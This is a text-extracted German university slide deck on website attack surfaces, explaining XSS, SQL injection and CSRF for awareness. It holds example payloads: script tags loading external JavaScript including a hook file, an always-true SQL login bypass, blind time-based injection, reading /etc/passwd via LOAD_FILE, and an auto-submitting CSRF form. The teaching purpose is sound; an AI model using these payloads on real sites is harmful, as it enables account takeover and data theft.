„Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... ·...

46
Hochschule Augsburg | HSASec – Forschungsgruppe ITSecurity + Forensik „Die Webseite als Eintrittspunkt“ Welche Gefahren gehen vom Firmenauftritt im Internet aus?

Transcript of „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... ·...

Page 1: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

„Die Webseite als Eintrittspunkt“ Welche Gefahren gehen vom Firmenauftritt im Internet aus?

Page 2: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Bekannt gewordene Schwachstellen & Angriffe

Page 3: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Bekannt gewordene Schwachstellen & Angriffe

Quelle: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/

Page 4: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Bekannt gewordene Schwachstellen & Angriffe

Page 5: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Bekannt gewordene Schwachstellen & Angriffe

Page 6: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Vergleich Web-App vs. Applikation

Web-Applikation (PHP, JSP, ASP, Ruby, …)

•  Prinzipiell weltweit abrufbar •  Verwenden von standardisierten

Protokollen

•  Häufig sehr typische Entwurfs-Pattern (MVC)

•  Zustandslos → Session-Management wird notwendig

•  Kommunikation lässt sich mit Proxy leicht untersuchen und verändern

Anwendung (C,C++, VB, C#, Delphi, …)

•  Häufig Installation notwendig •  In der Regel nur lokal verfügbar •  Gefundene Schwachstelle nicht sofort

ausnutzbar

•  Zustandsbehaftet •  Kommunikationsflüsse für Anwender nicht

ersichtlich

Page 7: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Webanwendungen

•  Komplexe Architekturen, basierend auf mehreren Plattformen und Protokollen

■ 

Web  Anwendung  HTTP  

Network  

Client      Browser  Mobil  API  

WebServer      Apache,  IIS  PresentaEon  Layer  Medien  AuGereitung  von  Daten  für  Client  

Anwendungsserver      Kapselt  die  Anwendungs  Logic  AuthenEfizierung,  Session  Management  Erstellt  Inhalte  im  User  Context  

Datenbank  Server      Liefert  Inhalte  auf  Anfrage  des  Anwendungsserver  z.B.  User  InformaEonen,  Bestände  

Page 8: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Webanwendungen

■ 

Client      Browser  Mobil  API  

WebServer      Apache,  IIS  PresentaEon  Layer  Medien  AuGereitung  von  Daten  für  Client  

Anwendungsserver      Kapselt  die  Anwendungs  Logic  AuthenEfizierung,  Session  Management  Erstellt  Inhalte  im  User  Context  

Datenbank  Server      Liefert  Inhalte  auf  Anfrage  des  Anwendungsserver  z.B.  User  InformaEonen,  Bestände  

●  Kommunikation i.d.R. über HTTP ●  Hauptsächlich Austausch von Web-Inhalten (HTML, Bilder, CSS) ●  Vollständig unter der Kontrolle des Clients

Page 9: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Client   Webserver  

SMB  

Datenbank  

SAP  

Firewall  

Firewall  

Port  80/443  

Webanwendungen

Intranet Internet

Page 10: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Auftreten von Schwachstellen

■ 

InjecEon  →  Cookies,  SQL,  XSS,  CSRF,  …  Parameter-­‐ManipulaEon  Brute  Force  Fehlende  Validierung  Session  Management  

Anwendung  

AdministraEve  FunkEonen  nicht  ausreichend  geschützt,  z.B.  „versteckt“  Fehlerhade  KonfiguraEon  UnnöEge  FunkEonen  akEviert  →  z.B.  Server  Stats  

AdministraEon  

Bekannte  Schwachstellen,  z.B.  Exploit  für  Apache  Schwache  Verschlüsselung  z.B.  bei  älterer  Version  von  IIS  

Plaform  

Page 11: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Gründe für Angriffe

Quelle: http://hackmageddon.com/2013-cyber-attacks-statistics/

Page 12: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Verwendete Angriffstechniken

Quelle: http://paulsparrows.files.wordpress.com/2013/09/august-2013-techniques.png?w=538&h=279

Page 13: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

■ 

Page 14: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

OWASP Best Practice Guides

J2EE

SSL SDL

Web Application Firewalls

Windows Communication Foundation (WCF)

Application Code Review OWASP Good Component Practices Project

Virtual Patching Best Practices

Encryption

Authentication Session Management

Page 15: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

OWASP ZED Attack Proxy

Page 16: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

OWASP Top 10

Zusammenfassung der Schwachstellen, die am häufigsten bei der Überprüfung von Webseiten erkannt wurden.

Page 17: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

CWE/SANS Top 25

Quelle:http://cwe.mitre.org/top25/

Page 18: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Quelle:  hhps://www.owasp.org/images/b/b8/OWASPTop10_DE_Version_1_0.pdf  ■ 

Definition von Cross Site Scripting (XSS)

XSS-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen Webbrowser sendet.

XSS erlaubt es einem Angreifer, Scriptcode im Browser eines Opfers auszuführen und somit Benutzersitzungen zu übernehmen, Seiteninhalte zu verändern oder den Benutzer auf bösartige Seiten umzuleiten.

Page 19: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

XSS wird je nach Stelle der Infektion bzw. Persistenz unterschieden:

•  Reflektiert oder nicht-persistent → sehr häufig / einfach •  Persistent oder beständig → für Angriffe wünschenswert •  DOM-basiert oder lokal

■ 

Unterscheidungen von XSS

Page 20: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

■  Quelle:  hhps://isc.sans.edu/diary.html?storyid=9130  

Page 21: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

•  JavaScript-Code alert •  Eingebunden mit script-Element •  Harmlos, dient zur Veranschaulichung •  https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

•  Nachladen von Java Script aus externen Quellen

■ 

<script type="text/javascript">alert("XSS");</script>

<script src="http://bit.ly/1mHqD70" />

Häufige Beispiele für XSS

Page 22: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

•  Nicht-persistentes oder reflektiertes Cross Site Scripting •  Benutzereingabe wird vom Server direkt zurückgeliefert •  Nur temporär, nicht gespeichert → ohne manipulierte URL oder Formular nicht enthalten •  Beispiel: Suche auf einer Webseite

■ 

Ausgabe:

Manipuliert:

 Aufruf:        

Reflektiertes XSS

http://example.com/?suche=Suchbegriff

<p>Sie suchten nach: Suchbegriff</p> http://example.com/?suche=<script type="text/javascript">alert("XSS")</script>

 Server  (PHP):        echo “<p>Sie suchten nach: $_GET[‘suche’]</p>”;

Page 23: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

•  Schadcode wird auf dem Webserver gespeichert –  bei jeder passenden Anfrage ausgeliefert

•  Beispiel: Daten werden in einer Datenbank gespeichert und “irgendwann” wieder ausgegeben –  Gästebuch auf einer Webseite –  Kommentare in Foren –  Zuletzt angemeldete/neu registrierte Benutzer…

■ 

Manipulierte  Nachricht: Eine wirklich sehr informative Website!<script type="text/javascript">alert("XSS")</script>

Konkreter  Angriff: Eine wirklich sehr informative Website!<script src="http://pb.c.ouk/hook.js" />

Persistentes XSS

Page 24: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

■ 

Page 25: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

•  Nur Clientseitig •  Beispiel: JavaScript wird zum Suchen, Markieren oder Selektieren in bereits geladener Seite

verwendet.

■ 

DOM basiertes XSS

Bild-Quelle: http://www.it-visions.de/DOTNET/ASPNET2/Artikel/ASPNET_AJAX_Einfuehrung.aspx

Page 26: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

■ 

Reflektiertes XSS Persistentes XSS DOM-based XSS

Zusammenfassung der verschiedenen XSS-Arten

Page 27: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

SQL-Injections

SQLI bezeichnen die Vermischung von SQL-Abfragen und von Daten, die mit den Queries kombiniert werden sollen. Durch die Vermischung ändert sich der Sinn der Abfrage.

Page 28: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

SELECT id, name, mail, gender FROM Accounts WHERE id = 41;

Structured Query Language - einfache Abfrage

Page 29: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Login-Anfrage per PHP (vereinfacht)

$query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”;

$pwdFromUserInput = $_POST[“password”];

$result = mysql_query($query);

Eingegebenes Passwort aus POST-Variable auslesen.

Datenbank-Abfrage definieren, die Benutzer anhand seines verhashten Kennworts zurück gibt.

Anfrage an Datenbank abschicken.

Page 30: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Login-Anfrage per PHP (vereinfacht)

$pwdFromUserInput = $_POST[“password”]; $query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”; $result = mysql_query($query);

Select * from accounts where pwd = md5(‘Geheim12345!’);

Benutzer hat als Passwort „Geheim12345!“ eingegeben:

Inhalt der Variablen Query:

Nutzerdaten sind in $query deutlich zu erkennen.

Page 31: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

SQL Injection durch immer wahre Aussage

$pwdFromUserInput = $_POST[“password”]; $query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”; $result = mysql_query($query);

Select * from accounts where pwd = md5(‘xxx’) or (‘1’ = ‘1’);

Benutzer hat als Passwort „xxx‘) or (‘1’ = ‘1” eingegeben:

Inhalt der Variablen Query:

Grenzen zwischen Nutzdaten und query verschwimmen.

Page 32: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Öffentliche Fehlermeldungen liefern Hilfe für SQL Injections

Page 33: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Alle  Tabellen  incl.  Details  in  der  Datenbank  anzeigen:  SELECT  *    FROM  informaEon_schema.tables    WHERE    table_schema  !=  ‘mysql’  AND    

 table_schema  !=  ‘informaEon_schema’  

Alle  Spalten  einer  Tabelle  anzeigen:  SELECT  table_schema,    

 table_name,      column_name    

FROM    informaEon_schema.columns    WHERE  table_schema  !=  ‘mysql’  AND    

 table_schema  !=  ‘informaEon_schema’    

■ 

Durch SQL-Abfragen lässt sich Struktur der Datenbank rekonstruieren

Durch einfache SQL-Abfragen lassen sich die Struktur der Datenbank, der Tabellen, die angemeldeten Benutzer und vieles mehr herausfinden.

Page 34: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Welche  Tabelle  besitzt  eine  Spalte  deren  name  "pass"  enthält?  (Passwort,  password,  passwd)      SELECT  table_schema,    

 table_name    FROM    informaEon_schema.columns    WHERE    column_name  LIKE  '%pass%';    

Auch  komplexere  Abfragen  per  SQL-­‐InjecEon  sind  möglich.  

■ 

Gezielte Suche nach Tabellen mit Passwörtern

Page 35: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Wenn  die  driMe  Stelle  des  Passworts  ein  "a"  ist  wird  die  weitere  Bearbeitung  um  5  Sekunden  pausiert  –  wenn  nicht  wird  sie  ohne  Zeitverzögerung  fortgesetzt.      SELECT    if  (substr(password  3,  1)  ==  'a',  SLEEP(5),  '')        FROM    Accounts  WHERE  ID=324345;  

Durch  Blind  InjecEon  kann  der  Benutzer  InformaEonen  aus  der  Datenbank  abrufen,  obwohl  diese  nicht  am  Bildschirm  dargestellt  werden:  

■ 

Blind SQL-Injections ermöglichen Datenübertragung ohne Darstellung am Bildschirm

Page 36: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Dateien  des  Servers  lesen:  SELECT    '1'  FROM  Accounts  WHERE  1=2  UNION    ALL  SELECT  LOAD_FILE('/etc/passwd')    

Durch  falsch  gesetzte  BenutzerberechEgungen  sind  auch  Zugriffe  auf  das  Dateisystem  des  Servers  möglich!  

Dateien  des  Servers  schreiben:  SELECT  'pause'    FROM  dual    INTO  dumpfile    'C:\Autoexec.bat';    

■ 

SQL-Injection mit Zugriff auf Dateisystem

Page 37: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

■ 

Quelle:  hhp://xkcd.com/327/  

XKCD ist super! :)

Page 38: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Spezifische, freie Tools um SQL-Injections zu erproben:

❖  sqlmap (http://sqlmap.org/) ❖  SQL Inject Me (Firefox-Plugin,

https://addons.mozilla.org/de/firefox/addon/sql-inject-me/)

SQL-Injection Tools

Page 39: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Cross Site Request Forgery

Bei CSRF versucht ein Angreifer einen legitimen Benutzer dazu zu veranlassen, ungewollt eine Aktion in seinem (Berechtigungs-) Kontext auszuführen.

Page 40: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Cross Site Request Forgery

POST/GET -Request

Response

inject request

Page 41: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Demo - HTML-Webfrontend für Cross Site Request Forgery

Page 42: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Demo - PHP-Backend für Cross Site Request Forgery

Page 43: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Demo - Cross Site Request Forgery - Angriff mit erwarteten POST-Parametern

<body onload="javascript:SendAttack();"> <form action="http://victim.example.com/profile.php" id="form" method="post">

<input type="hidden" name="firstname" value="Funny"> <input type="hidden" name="lastname" value="Joke"> <input type="hidden" name="email">

</form> </body>

<script> function SendAttack () {

form.email = "[email protected]"; // send to profile.php

form.submit(); } </script>

Page 44: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

<img src=” />

Demo - Cross Site Request Forgery - Angriff mit erwarteten GET-Parametern

http://victim.example.com/profile.php?action=delete&userID=2231&confirmed=true

Page 45: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Page 46: „Die Webseite als Eintrittspunkt“ikt-forum.de/system/files/Die Webseite als... · vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen

Hochschule  Augsburg  |  HSASec  –  Forschungsgruppe  IT-­‐Security  +  Forensik  

Noch Fragen?